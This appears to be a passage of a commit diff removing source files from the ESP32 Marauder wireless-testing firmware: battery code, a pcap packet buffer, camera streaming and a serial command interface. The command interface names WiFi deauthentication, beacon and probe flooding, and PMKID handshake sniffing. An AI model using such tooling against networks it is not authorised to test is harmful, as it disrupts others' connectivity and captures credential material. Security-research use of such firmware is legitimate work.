cleanup

esp32_marauder/BatteryInterface.cpp

@@ -1,49 +0,0 @@
-#include "BatteryInterface.h"
-#include "lang_var.h"
-BatteryInterface::BatteryInterface() {
-  
-}
-
-void BatteryInterface::main(uint32_t currentTime) {
-  #ifndef MARAUDER_FLIPPER
-    if (currentTime != 0) {
-      if (currentTime - initTime >= 3000) {
-        //Serial.println("Checking Battery Level");
-        this->initTime = millis();
-        int8_t new_level = this->getBatteryLevel();
-        //this->battery_level = this->getBatteryLevel();
-        if (this->battery_level != new_level) {
-          Serial.println(text00 + (String)new_level);
-          this->battery_level = new_level;
-        }
-      }
-    }
-  #endif
-}
-
-void BatteryInterface::RunSetup() {
-  #ifndef MARAUDER_FLIPPER
-    Wire.begin(I2C_SDA, I2C_SCL);
-    this->initTime = millis();
-  #endif
-}
-
-int8_t BatteryInterface::getBatteryLevel() {
-  #ifndef MARAUDER_FLIPPER
-    Wire.beginTransmission(IP5306_ADDR);
-    Wire.write(0x78);
-    if (Wire.endTransmission(false) == 0 &&
-        Wire.requestFrom(0x75, 1)) {
-      this->i2c_supported = true;
-      switch (Wire.read() & 0xF0) {
-        case 0xE0: return 25;
-        case 0xC0: return 50;
-        case 0x80: return 75;
-        case 0x00: return 100;
-        default: return 0;
-      }
-    }
-    this->i2c_supported = false;
-    return -1;
-  #endif
-}

esp32_marauder/BatteryInterface.h

@@ -1,32 +0,0 @@
-#ifndef BatteryInterface_h
-#define BatteryInterface_h
-
-#include <Arduino.h>
-
-#include "configs.h"
-
-#ifndef MARAUDER_FLIPPER
-  #include <Wire.h>
-#endif
-
-#define I2C_SDA 33
-#define I2C_SCL 22
-#define IP5306_ADDR 0x75
-
-class BatteryInterface {
-  private:
-    uint32_t initTime = 0;
-
-  public:
-    int8_t battery_level = 0;
-    int8_t old_level = 0;
-    bool i2c_supported = false;
-
-    BatteryInterface();
-
-    void RunSetup();
-    void main(uint32_t currentTime);
-    int8_t getBatteryLevel();
-};
-
-#endif

esp32_marauder/Buffer.cpp

@@ -1,203 +0,0 @@
-#include "Buffer.h"
-#include "lang_var.h"
-
-Buffer::Buffer(){
-  bufA = (uint8_t*)malloc(BUF_SIZE);
-  bufB = (uint8_t*)malloc(BUF_SIZE);
-}
-
-void Buffer::open(fs::FS* fs, String fn){
-  int i=0;
-  do{
-    fileName = "/"+fn+"_"+(String)i+".pcap";
-    i++;
-  } while(fs->exists(fileName));
-
-  Serial.println(fileName);
-  
-  file = fs->open(fileName, FILE_WRITE);
-  file.close();
-
-  bufSizeA = 0;
-  bufSizeB = 0;
-  
-  writing = true;
-  
-  write(uint32_t(0xa1b2c3d4)); // magic number
-  write(uint16_t(2)); // major version number
-  write(uint16_t(4)); // minor version number
-  write(int32_t(0)); // GMT to local correction
-  write(uint32_t(0)); // accuracy of timestamps
-  write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
-  write(uint32_t(105)); // data link type
-
-  //useSD = true;
-}
-
-void Buffer::close(fs::FS* fs){
-  if(!writing) return;
-  forceSave(fs);
-  writing = false;
-  Serial.println(text01);
-}
-
-void Buffer::addPacket(uint8_t* buf, uint32_t len){
-  
-  // buffer is full -> drop packet
-  if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
-    //Serial.print(";"); 
-    return;
-  }
-  
-  if(useA && bufSizeA + len + 16 >= BUF_SIZE && bufSizeB == 0){
-    useA = false;
-    //Serial.println("\nswitched to buffer B");
-  }
-  else if(!useA && bufSizeB + len + 16 >= BUF_SIZE && bufSizeA == 0){
-    useA = true;
-    //Serial.println("\nswitched to buffer A");
-  }
-
-  uint32_t microSeconds = micros(); // e.g. 45200400 => 45s 200ms 400us
-  uint32_t seconds = (microSeconds/1000)/1000; // e.g. 45200400/1000/1000 = 45200 / 1000 = 45s
-
-  microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
-  
-  write(seconds); // ts_sec
-  write(microSeconds); // ts_usec
-  write(len); // incl_len
-  write(len); // orig_len
-  
-  write(buf, len); // packet payload
-}
-
-void Buffer::write(int32_t n){
-  uint8_t buf[4];
-  buf[0] = n;
-  buf[1] = n >> 8;
-  buf[2] = n >> 16;
-  buf[3] = n >> 24;
-  write(buf,4);
-}
-
-void Buffer::write(uint32_t n){
-  uint8_t buf[4];
-  buf[0] = n;
-  buf[1] = n >> 8;
-  buf[2] = n >> 16;
-  buf[3] = n >> 24;
-  write(buf,4);
-}
-
-void Buffer::write(uint16_t n){
-  uint8_t buf[2];
-  buf[0] = n;
-  buf[1] = n >> 8;
-  write(buf,2);
-}
-
-void Buffer::write(uint8_t* buf, uint32_t len){
-  if(!writing) return;
-  
-  if(useA){
-    memcpy(&bufA[bufSizeA], buf, len);
-    bufSizeA += len;
-  }else{
-    memcpy(&bufB[bufSizeB], buf, len);
-    bufSizeB += len;
-  }
-}
-
-void Buffer::save(fs::FS* fs){
-  if(saving) return; // makes sure the function isn't called simultaneously on different cores
-
-  // buffers are already emptied, therefor saving is unecessary
-  if((useA && bufSizeB == 0) || (!useA && bufSizeA == 0)){
-    //Serial.printf("useA: %s, bufA %u, bufB %u\n",useA ? "true" : "false",bufSizeA,bufSizeB); // for debug porpuses
-    return;
-  }
-  
-  //Serial.println("saving file");
-  
-  uint32_t startTime = millis();
-  uint32_t finishTime;
-
-  file = fs->open(fileName, FILE_APPEND);
-  if (!file) {
-    Serial.println(text02 + fileName+"'");
-    //useSD = false;
-    return;
-  }
-  
-  saving = true;
-  
-  uint32_t len;
-  
-  if(useA){
-    file.write(bufB, bufSizeB);
-    len = bufSizeB;
-    bufSizeB = 0;
-  }
-  else{
-    file.write(bufA, bufSizeA);
-    len = bufSizeA;
-    bufSizeA = 0;
-  }
-
-  file.close();
-  
-  finishTime = millis() - startTime;
-
-  //Serial.printf("\n%u bytes written for %u ms\n", len, finishTime);
-  
-  saving = false;
-  
-}
-
-void Buffer::forceSave(fs::FS* fs){
-  uint32_t len = bufSizeA + bufSizeB;
-  if(len == 0) return;
-  
-  file = fs->open(fileName, FILE_APPEND);
-  if (!file) {
-    Serial.println(text02+fileName+"'");
-    //useSD = false;
-    return;
-  }
-
-  saving = true;
-  writing = false;
-  
-  if(useA){
-
-    if(bufSizeB > 0){
-      file.write(bufB, bufSizeB);
-      bufSizeB = 0;
-    }
-
-    if(bufSizeA > 0){
-      file.write(bufA, bufSizeA);
-      bufSizeA = 0;
-    }
-    
-  } else {
-
-    if(bufSizeA > 0){
-      file.write(bufA, bufSizeA);
-      bufSizeA = 0;
-    }
-    
-    if(bufSizeB > 0){
-      file.write(bufB, bufSizeB);
-      bufSizeB = 0;
-    }
-    
-  }
-
-  file.close();
-
-  //Serial.printf("saved %u bytes\n",len);
-
-  saving = false;
-  writing = true;
-}

esp32_marauder/Buffer.h

@@ -1,44 +0,0 @@
-#ifndef Buffer_h
-#define Buffer_h
-
-#include "Arduino.h"
-#include "FS.h"
-#include "settings.h"
-//#include "SD_MMC.h"
-
-#define BUF_SIZE 3 * 1024 // Had to reduce buffer size to save RAM. GG @spacehuhn
-#define SNAP_LEN 2324 // max len of each recieved packet
-
-//extern bool useSD;
-
-extern Settings settings_obj;
-
-class Buffer {
-  public:
-    Buffer();
-    void open(fs::FS* fs, String fn = "");
-    void close(fs::FS* fs);
-    void addPacket(uint8_t* buf, uint32_t len);
-    void save(fs::FS* fs);
-    void forceSave(fs::FS* fs);
-  private:
-    void write(int32_t n);
-    void write(uint32_t n);
-    void write(uint16_t n);
-    void write(uint8_t* buf, uint32_t len);
-    
-    uint8_t* bufA;
-    uint8_t* bufB;
-
-    uint32_t bufSizeA = 0;
-    uint32_t bufSizeB = 0;
-
-    bool writing = false; // acceppting writes to buffer
-    bool useA = true; // writing to bufA or bufB
-    bool saving = false; // currently saving onto the SD card
-
-    String fileName = "/0.pcap";
-    File file;
-};
-
-#endif

esp32_marauder/CameraStream.ino

@@ -1,173 +0,0 @@
-#ifdef ESP32_CAM
-
-// from: https://github.com/Z4urce/flipperzero-camera/blob/main/esp32_firmware/esp32_cam_uart_stream/esp32_cam_uart_stream.ino
-void cam_stream_setup() {
-  // camera init
-
-  camera_config_t config;
-  config.ledc_channel = LEDC_CHANNEL_0;
-  config.ledc_timer = LEDC_TIMER_0;
-  config.pin_d0 = Y2_GPIO_NUM;
-  config.pin_d1 = Y3_GPIO_NUM;
-  config.pin_d2 = Y4_GPIO_NUM;
-  config.pin_d3 = Y5_GPIO_NUM;
-  config.pin_d4 = Y6_GPIO_NUM;
-  config.pin_d5 = Y7_GPIO_NUM;
-  config.pin_d6 = Y8_GPIO_NUM;
-  config.pin_d7 = Y9_GPIO_NUM;
-  config.pin_xclk = XCLK_GPIO_NUM;
-  config.pin_pclk = PCLK_GPIO_NUM;
-  config.pin_vsync = VSYNC_GPIO_NUM;
-  config.pin_href = HREF_GPIO_NUM;
-  config.pin_sscb_sda = SIOD_GPIO_NUM;
-  config.pin_sscb_scl = SIOC_GPIO_NUM;
-  config.pin_pwdn = PWDN_GPIO_NUM;
-  config.pin_reset = RESET_GPIO_NUM;
-  config.xclk_freq_hz = 20000000;
-  config.pixel_format = PIXFORMAT_GRAYSCALE;
-
-  // We don't need a big frame
-  config.frame_size = FRAMESIZE_QQVGA;
-  config.fb_count = 1;
-
-  esp_err_t err = esp_camera_init(&config);
-  if (err != ESP_OK) {
-    Serial.printf("Camera init failed with error 0x%x", err);
-    return;
-  }
-  // Setting high contrast to make easier to dither
-  sensor_t* s = esp_camera_sensor_get();
-  s->set_contrast(s, 2);
-}
-
-bool disable_dithering = false;
-bool invert = false;
-
-void cam_stream_loop() {
-  bool stop_stream = false;
-  // Reading serial
-  if (Serial.available() > 0) {
-    char r = Serial.read();
-    sensor_t* s = esp_camera_sensor_get();
-
-    switch (r) {
-      case 'S':
-        //stop_stream = false;
-        break;
-      case 's':
-        /*stop_stream = true;
-        preferences.putBool("streaming", false);
-        preferences.end();
-        ESP.restart();*/
-        break;
-      case 'D':
-        disable_dithering = false;
-        break;
-      case 'd':
-        disable_dithering = true;
-        break;
-      case 'C':
-        s->set_contrast(s, s->status.contrast + 1);
-        s->set_contrast(s, s->status.brightness + 1);
-        break;
-      case 'c':
-        s->set_contrast(s, s->status.contrast - 1);
-        s->set_contrast(s, s->status.brightness - 1);
-        break;
-      /*case 'B':
-        s->set_contrast(s, s->status.brightness + 1);
-        break;
-        case 'b':
-        s->set_contrast(s, s->status.brightness - 1);
-        break;
-
-        // Toggle cases
-        case 'M': // Toggle Mirror
-        s->set_hmirror(s, !s->status.hmirror);
-        break;
-        case '>':
-        disable_dithering = !disable_dithering;
-        break;
-        case '<':
-        invert = !invert;
-        break;
-      */
-
-      // Toggle cases
-      case '>':  // Toggle Mirror 
-        s->set_hmirror(s, !s->status.hmirror);
-        if (s->status.hmirror)
-          s->set_vflip(s, !s->status.vflip);
-        break;
-      case '<':
-        invert = !invert;
-        if(invert)
-          disable_dithering = !disable_dithering;
-        break;
-      default:
-        break;
-    }
-  }
-
-  camera_fb_t* fb = esp_camera_fb_get();
-
-  if (!fb) {
-    return;
-  }
-
-  //Length: 19200
-  //Width: 160
-  //Height: 120
-  //Format: 2
-  //Target: 128x64
-
-  if (!disable_dithering) {
-    DitherImage(fb);
-  }
-
-  uint8_t flipper_y = 0;
-  for (uint8_t y = 28; y < 92; ++y) {
-    Serial.print("Y:");
-    Serial.print((char)flipper_y);
-
-    size_t true_y = y * fb->width;
-    for (uint8_t x = 16; x < 144; x += 8) {
-      char c = 0;
-      for (uint8_t j = 0; j < 8; ++j) {
-        if (IsDarkBit(fb->buf[true_y + x + (7 - j)])) {
-          c |= 1 << j;
-        }
-      }
-      Serial.print(c);
-    }
-
-    ++flipper_y;
-    Serial.flush();
-  }
-
-  esp_camera_fb_return(fb);
-  fb = NULL;
-  delay(50);
-}
-
-inline bool IsDarkBit(const uint8_t bit) {
-  return (invert ^ (bit < 128));
-}
-
-void DitherImage(camera_fb_t* fb) {
-  for (uint8_t y = 0; y < fb->height; ++y) {
-    for (uint8_t x = 0; x < fb->width; ++x) {
-      size_t current = (y * fb->width) + x;
-      uint8_t oldpixel = fb->buf[current];
-      uint8_t newpixel = oldpixel >= 128 ? 255 : 0;
-      fb->buf[current] = newpixel;
-      uint8_t quant_error = oldpixel - newpixel;
-      fb->buf[(y * fb->width) + x + 1] = fb->buf[(y * fb->width) + x + 1] + quant_error * 7 / 16;
-      fb->buf[(y + 1 * fb->width) + x - 1] = fb->buf[(y + 1 * fb->width) + x - 1] + quant_error * 3 / 16;
-      fb->buf[(y + 1 * fb->width) + x] = fb->buf[(y + 1 * fb->width) + x] + quant_error * 5 / 16;
-      fb->buf[(y + 1 * fb->width) + x + 1] = fb->buf[(y + 1 * fb->width) + x + 1] + quant_error * 1 / 16;
-    }
-  }
-}
-
-#endif

esp32_marauder/CommandLine.h

@@ -1,164 +0,0 @@
-#ifndef CommandLine_h
-#define CommandLine_h
-
-#include "configs.h"
-
-#ifdef HAS_SCREEN
-#include "MenuFunctions.h"
-#include "Display.h"
-#endif
-
-#include "WiFiScan.h"
-#include "Web.h"
-
-#ifdef USE_SD_MMC_ALTERNATIVE
-#include "SD_MMCInterface.h"
-#else
-#include "SDInterface.h"
-#endif
-#include "settings.h"
-
-#ifdef HAS_SCREEN
-extern MenuFunctions menu_function_obj;
-extern Display display_obj;
-#endif
-
-extern WiFiScan wifi_scan_obj;
-extern Web web_obj;
-extern SDInterface sd_obj;
-extern Settings settings_obj;
-extern LinkedList<AccessPoint>* access_points;
-extern LinkedList<ssid>* ssids;
-extern LinkedList<Station>* stations;
-extern const String PROGMEM version_number;
-
-//// Commands
-
-#ifdef ESP32_CAM
-// Camera functions
-const char PROGMEM CAM_PHOTO[] = "photo";
-const char PROGMEM CAM_FLASHLIGHT[] = "flashlight";
-const char PROGMEM CAM_STREAM[] = "stream";
-#endif
-
-// Admin
-const char PROGMEM CH_CMD[] = "channel";
-const char PROGMEM CLEARAP_CMD[] = "clearlist";
-const char PROGMEM REBOOT_CMD[] = "reboot";
-const char PROGMEM UPDATE_CMD[] = "update";
-const char PROGMEM HELP_CMD[] = "help";
-const char PROGMEM SETTINGS_CMD[] = "settings";
-
-// WiFi sniff/scan
-const char PROGMEM SCANAP_CMD[] = "scanap";
-const char PROGMEM SCANSTA_CMD[] = "scansta";
-const char PROGMEM SNIFF_RAW_CMD[] = "sniffraw";
-const char PROGMEM SNIFF_BEACON_CMD[] = "sniffbeacon";
-const char PROGMEM SNIFF_PROBE_CMD[] = "sniffprobe";
-const char PROGMEM SNIFF_PWN_CMD[] = "sniffpwn";
-const char PROGMEM SNIFF_ESP_CMD[] = "sniffesp";
-const char PROGMEM SNIFF_DEAUTH_CMD[] = "sniffdeauth";
-const char PROGMEM SNIFF_PMKID_CMD[] = "sniffpmkid";
-const char PROGMEM STOPSCAN_CMD[] = "stopscan";
-
-// WiFi attack
-const char PROGMEM ATTACK_CMD[] = "attack";
-const char PROGMEM ATTACK_TYPE_DEAUTH[] = "deauth";
-const char PROGMEM ATTACK_TYPE_BEACON[] = "beacon";
-const char PROGMEM ATTACK_TYPE_PROBE[] = "probe";
-const char PROGMEM ATTACK_TYPE_RR[] = "rickroll";
-
-// WiFi Aux
-const char PROGMEM LIST_AP_CMD[] = "list";
-const char PROGMEM SEL_CMD[] = "select";
-const char PROGMEM SSID_CMD[] = "ssid";
-
-// Bluetooth sniff/scan
-const char PROGMEM BT_SNIFF_CMD[] = "sniffbt";
-const char PROGMEM BT_SKIM_CMD[] = "sniffskim";
-
-
-//// Command help messages
-// Admin
-const char PROGMEM HELP_HEAD[] = "============ Commands ============";
-const char PROGMEM HELP_CH_CMD[] = "channel [-s <channel>]";
-const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a/-c/-s";
-const char PROGMEM HELP_REBOOT_CMD[] = "reboot";
-const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w";
-const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s <setting> enable/disable>]/[-r]";
-
-// WiFi sniff/scan
-const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
-const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
-const char PROGMEM HELP_SNIFF_RAW_CMD[] = "sniffraw";
-const char PROGMEM HELP_SNIFF_BEACON_CMD[] = "sniffbeacon";
-const char PROGMEM HELP_SNIFF_PROBE_CMD[] = "sniffprobe";
-const char PROGMEM HELP_SNIFF_PWN_CMD[] = "sniffpwn";
-const char PROGMEM HELP_SNIFF_ESP_CMD[] = "sniffesp";
-const char PROGMEM HELP_SNIFF_DEAUTH_CMD[] = "sniffdeauth";
-const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>]";
-const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
-
-// WiFi attack
-const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll>";
-
-// WiFi Aux
-const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s";
-const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a";
-const char PROGMEM HELP_LIST_AP_CMD_C[] = "list -c";
-const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>";
-const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g <count>/-n <name>]";
-const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>";
-
-// Bluetooth sniff/scan
-const char PROGMEM HELP_BT_SNIFF_CMD[] = "sniffbt";
-const char PROGMEM HELP_BT_SKIM_CMD[] = "sniffskim";
-const char PROGMEM HELP_FOOT[] = "==================================";
-
-
-class CommandLine {
-  private:
-    String getSerialInput();
-    LinkedList<String> parseCommand(String input, char* delim);
-    void runCommand(String input);
-    bool checkValueExists(LinkedList<String>* cmd_args_list, int index);
-    bool inRange(int max, int index);
-    bool apSelected();
-    bool hasSSIDs();
-    int argSearch(LinkedList<String>* cmd_args, String key);
-
-    const char* ascii_art =
-      "\r\n"
-      "              @@@@@@                        \r\n"
-      "              @@@@@@@@                      \r\n"
-      "              @@@@@@@@@@@                   \r\n"
-      "             @@@@@@  @@@@@@                 \r\n"
-      "          @@@@@@@      @@@@@@@              \r\n"
-      "        @@@@@@            @@@@@@            \r\n"
-      "     @@@@@@@                @@@@@@@         \r\n"
-      "   @@@@@@                      @@@@@@       \r\n"
-      "@@@@@@@              @@@@@@@@@@@@@@@@       \r\n"
-      "@@@@@                 @@@@@@@@@@@@@@@       \r\n"
-      "@@@@@                   @@@@@@@             \r\n"
-      "@@@@@                      @@@@@@           \r\n"
-      "@@@@@@                       @@@@@@@        \r\n"
-      "  @@@@@@                        @@@@@@@@@@@@\r\n"
-      "    @@@@@@@                          @@@@@@ \r\n"
-      "       @@@@@@                     @@@@@@    \r\n"
-      "         @@@@@@@                @@@@@@      \r\n"
-      "            @@@@@@           @@@@@@         \r\n"
-      "              @@@@@@@      @@@@@@           \r\n"
-      "                 @@@@@@ @@@@@@              \r\n"
-      "                   @@@@@@@@@                \r\n"
-      "                      @@@@@@                \r\n"
-      "                        @@@@                \r\n"
-      "\r\n";
-
-  public:
-    CommandLine();
-
-    void RunSetup();
-    void main(uint32_t currentTime);
-};
-
-#endif

esp32_marauder/CommandLine.ino

@@ -1,923 +0,0 @@
-#include "CommandLine.h"
-#ifdef ESP32_CAM
-
-void configESPCamera() {
-  WRITE_PERI_REG(RTC_CNTL_BROWN_OUT_REG, 0); //disable brownout detector
-  // Object to store the camera configuration parameters
-  camera_config_t config;
-
-  config.ledc_channel = LEDC_CHANNEL_0;
-  config.ledc_timer = LEDC_TIMER_0;
-  config.pin_d0 = Y2_GPIO_NUM;
-  config.pin_d1 = Y3_GPIO_NUM;
-  config.pin_d2 = Y4_GPIO_NUM;
-  config.pin_d3 = Y5_GPIO_NUM;
-  config.pin_d4 = Y6_GPIO_NUM;
-  config.pin_d5 = Y7_GPIO_NUM;
-  config.pin_d6 = Y8_GPIO_NUM;
-  config.pin_d7 = Y9_GPIO_NUM;
-  config.pin_xclk = XCLK_GPIO_NUM;
-  config.pin_pclk = PCLK_GPIO_NUM;
-  config.pin_vsync = VSYNC_GPIO_NUM;
-  config.pin_href = HREF_GPIO_NUM;
-  config.pin_sscb_sda = SIOD_GPIO_NUM;
-  config.pin_sscb_scl = SIOC_GPIO_NUM;
-  config.pin_pwdn = PWDN_GPIO_NUM;
-  config.pin_reset = RESET_GPIO_NUM;
-  config.xclk_freq_hz = 20000000;
-  config.pixel_format = PIXFORMAT_JPEG; // Choices are YUV422, GRAYSCALE, RGB565, JPEG
-
-  // Select lower framesize if the camera doesn't support PSRAM
-  if (psramFound()) {
-    config.frame_size = FRAMESIZE_UXGA; // FRAMESIZE_ + QVGA|CIF|VGA|SVGA|XGA|SXGA|UXGA
-    config.jpeg_quality = 10; //10-63 lower number means higher quality
-    config.fb_count = 2;
-  } else {
-    config.frame_size = FRAMESIZE_SVGA;
-    config.jpeg_quality = 12;
-    config.fb_count = 1;
-  }
-
-  // Initialize the Camera
-  esp_err_t err = esp_camera_init(&config);
-  if (err != ESP_OK) {
-    Serial.printf("Camera init failed with error 0x%x", err);
-    return;
-  }
-
-  // Camera quality adjustments
-  sensor_t * s = esp_camera_sensor_get();
-
-  // BRIGHTNESS (-2 to 2)
-  s->set_brightness(s, 0);
-  // CONTRAST (-2 to 2)
-  s->set_contrast(s, 0);
-  // SATURATION (-2 to 2)
-  s->set_saturation(s, 0);
-  // SPECIAL EFFECTS (0 - No Effect, 1 - Negative, 2 - Grayscale, 3 - Red Tint, 4 - Green Tint, 5 - Blue Tint, 6 - Sepia)
-  s->set_special_effect(s, 0);
-  // WHITE BALANCE (0 = Disable , 1 = Enable)
-  s->set_whitebal(s, 1);
-  // AWB GAIN (0 = Disable , 1 = Enable)
-  s->set_awb_gain(s, 1);
-  // WB MODES (0 - Auto, 1 - Sunny, 2 - Cloudy, 3 - Office, 4 - Home)
-  s->set_wb_mode(s, 0);
-  // EXPOSURE CONTROLS (0 = Disable , 1 = Enable)
-  s->set_exposure_ctrl(s, 1);
-  // AEC2 (0 = Disable , 1 = Enable)
-  s->set_aec2(s, 0);
-  // AE LEVELS (-2 to 2)
-  s->set_ae_level(s, 0);
-  // AEC VALUES (0 to 1200)
-  s->set_aec_value(s, 300);
-  // GAIN CONTROLS (0 = Disable , 1 = Enable)
-  s->set_gain_ctrl(s, 1);
-  // AGC GAIN (0 to 30)
-  s->set_agc_gain(s, 0);
-  // GAIN CEILING (0 to 6)
-  s->set_gainceiling(s, (gainceiling_t)0);
-  // BPC (0 = Disable , 1 = Enable)
-  s->set_bpc(s, 0);
-  // WPC (0 = Disable , 1 = Enable)
-  s->set_wpc(s, 1);
-  // RAW GMA (0 = Disable , 1 = Enable)
-  s->set_raw_gma(s, 1);
-  // LENC (0 = Disable , 1 = Enable)
-  s->set_lenc(s, 1);
-  // HORIZ MIRROR (0 = Disable , 1 = Enable)
-  s->set_hmirror(s, 0);
-  // VERT FLIP (0 = Disable , 1 = Enable)
-  s->set_vflip(s, 0);
-  // DCW (0 = Disable , 1 = Enable)
-  s->set_dcw(s, 1);
-  // COLOR BAR PATTERN (0 = Disable , 1 = Enable)
-  s->set_colorbar(s, 0);
-}
-
-void initMicroSDCard() {
-  Serial.println("Mounting MicroSD Card");
-  if (!SD_MMC.begin("/sdcard", true, false, SDMMC_FREQ_DEFAULT)) {
-    Serial.println("MicroSD Card Mount Failed");
-    return;
-  }
-  uint8_t cardType = SD_MMC.cardType();
-  if (cardType == CARD_NONE) {
-    Serial.println("No MicroSD Card found");
-    return;
-  }
-}
-
-void takeNewPhoto(String path, bool flash) {
-  // Take Picture with Camera
-
-  // Setup frame buffer
-  if (flash)
-  {
-    pinMode(4, OUTPUT);
-    digitalWrite(4, HIGH);
-  }
-  camera_fb_t  * fb = esp_camera_fb_get();
-  if (flash)
-  {
-    digitalWrite(4, LOW);
-  }
-  if (!fb) {
-    Serial.println("Camera capture failed");
-    return;
-  }
-
-  // Save picture to microSD card
-  fs::FS &fs = SD_MMC;
-  File file = fs.open(path.c_str(), FILE_WRITE);
-  if (!file) {
-    Serial.println("Failed to open file in write mode");
-  }
-  else {
-    file.write(fb->buf, fb->len); // payload (image), payload length
-    Serial.printf("Saved file to path: %s\n", path.c_str());
-  }
-  // Close the file
-  file.close();
-
-  // Return the frame buffer back to the driver for reuse
-  esp_camera_fb_return(fb);
-  fb = NULL;
-}
-#endif
-
-CommandLine::CommandLine() {
-}
-
-void CommandLine::RunSetup() {
-  Serial.println(this->ascii_art);
-
-  Serial.println(F("\n\n--------------------------------\n"));
-  Serial.println(F("         ESP32 Marauder      \n"));
-  Serial.println("            " + version_number + "\n");
-  Serial.println(F("       By: justcallmekoko\n"));
-  Serial.println(F("--------------------------------\n\n"));
-
-  Serial.print("> ");
-}
-
-String CommandLine::getSerialInput() {
-  String input = "";
-
-  if (Serial.available() > 0)
-    input = Serial.readStringUntil('\n');
-
-  input.trim();
-  return input;
-}
-
-void CommandLine::main(uint32_t currentTime) {
-  String input = this->getSerialInput();
-
-  this->runCommand(input);
-
-  if (input != "")
-    Serial.print("> ");
-}
-
-LinkedList<String> CommandLine::parseCommand(String input, char* delim) {
-  LinkedList<String> cmd_args;
-
-  if (input != "") {
-
-    char fancy[input.length() + 1] = {};
-    input.toCharArray(fancy, input.length() + 1);
-
-    char* ptr = strtok(fancy, delim);
-
-    while (ptr != NULL) {
-      cmd_args.add(String(ptr));
-
-      ptr = strtok(NULL, delim);
-    }
-  }
-
-  return cmd_args;
-}
-
-int CommandLine::argSearch(LinkedList<String>* cmd_args_list, String key) {
-  for (int i = 0; i < cmd_args_list->size(); i++) {
-    if (cmd_args_list->get(i) == key)
-      return i;
-  }
-
-  return -1;
-}
-
-bool CommandLine::checkValueExists(LinkedList<String>* cmd_args_list, int index) {
-  if (index < cmd_args_list->size() - 1)
-    return true;
-
-  return false;
-}
-
-bool CommandLine::inRange(int max, int index) {
-  if ((index >= 0) && (index < max))
-    return true;
-
-  return false;
-}
-
-bool CommandLine::apSelected() {
-  for (int i = 0; i < access_points->size(); i++) {
-    if (access_points->get(i).selected)
-      return true;
-  }
-
-  return false;
-}
-
-bool CommandLine::hasSSIDs() {
-  if (ssids->size() == 0)
-    return false;
-
-  return true;
-}
-
-void CommandLine::runCommand(String input) {
-  if (input != "")
-    Serial.println("#" + input);
-  else
-    return;
-
-  LinkedList<String> cmd_args = this->parseCommand(input, " ");
-
-  //// Admin commands
-
-  // Help
-  if (cmd_args.get(0) == HELP_CMD) {
-    Serial.println(HELP_HEAD);
-    Serial.println(HELP_CH_CMD);
-    Serial.println(HELP_SETTINGS_CMD);
-    Serial.println(HELP_CLEARAP_CMD_A);
-    Serial.println(HELP_REBOOT_CMD);
-    Serial.println(HELP_UPDATE_CMD_A);
-
-    // WiFi sniff/scan
-    Serial.println(HELP_SCANAP_CMD);
-    Serial.println(HELP_SCANSTA_CMD);
-    Serial.println(HELP_SNIFF_RAW_CMD);
-    Serial.println(HELP_SNIFF_BEACON_CMD);
-    Serial.println(HELP_SNIFF_PROBE_CMD);
-    Serial.println(HELP_SNIFF_PWN_CMD);
-    Serial.println(HELP_SNIFF_ESP_CMD);
-    Serial.println(HELP_SNIFF_DEAUTH_CMD);
-    Serial.println(HELP_SNIFF_PMKID_CMD);
-    Serial.println(HELP_STOPSCAN_CMD);
-
-    // WiFi attack
-    Serial.println(HELP_ATTACK_CMD);
-
-    // WiFi Aux
-    Serial.println(HELP_LIST_AP_CMD_A);
-    Serial.println(HELP_LIST_AP_CMD_B);
-    Serial.println(HELP_LIST_AP_CMD_C);
-    Serial.println(HELP_SEL_CMD_A);
-    Serial.println(HELP_SSID_CMD_A);
-    Serial.println(HELP_SSID_CMD_B);
-
-    // Bluetooth sniff/scan
-    Serial.println(HELP_BT_SNIFF_CMD);
-    Serial.println(HELP_BT_SKIM_CMD);
-    Serial.println(HELP_FOOT);
-    return;
-  }
-
-  // Stop Scan
-  if (cmd_args.get(0) == STOPSCAN_CMD) {
-    if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
-      wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
-      //#ifdef HAS_SCREEN
-      //  menu_function_obj.changeMenu(menu_function_obj.updateMenu.parentMenu);
-      //#endif
-      WiFi.softAPdisconnect(true);
-      web_obj.shutdownServer();
-      return;
-    }
-
-    wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
-
-    Serial.println("Stopping WiFi tran/recv");
-
-    // If we don't do this, the text and button coordinates will be off
-#ifdef HAS_SCREEN
-    display_obj.tft.init();
-    menu_function_obj.changeMenu(menu_function_obj.current_menu);
-#endif
-  }
-  // Channel command
-  else if (cmd_args.get(0) == CH_CMD) {
-    // Search for channel set arg
-    int ch_set = this->argSearch(&cmd_args, "-s");
-
-    if (cmd_args.size() == 1) {
-      Serial.println("Current channel: " + (String)wifi_scan_obj.set_channel);
-    }
-    else if (ch_set != -1) {
-      wifi_scan_obj.set_channel = cmd_args.get(ch_set + 1).toInt();
-      wifi_scan_obj.changeChannel();
-      Serial.println("Set channel: " + (String)wifi_scan_obj.set_channel);
-    }
-  }
-#ifdef ESP32_CAM
-
-  else if (cmd_args.get(0) == CAM_FLASHLIGHT) {
-    pinMode(4, OUTPUT);
-    digitalWrite(4, !digitalRead(4));
-  }
-
-  else if (cmd_args.get(0) == CAM_PHOTO) {
-    Serial.println("Camera capture start");
-    // Initialize the camera
-    configESPCamera(); Serial.println("Camera OK!");
-
-    // Initialize the MicroSD
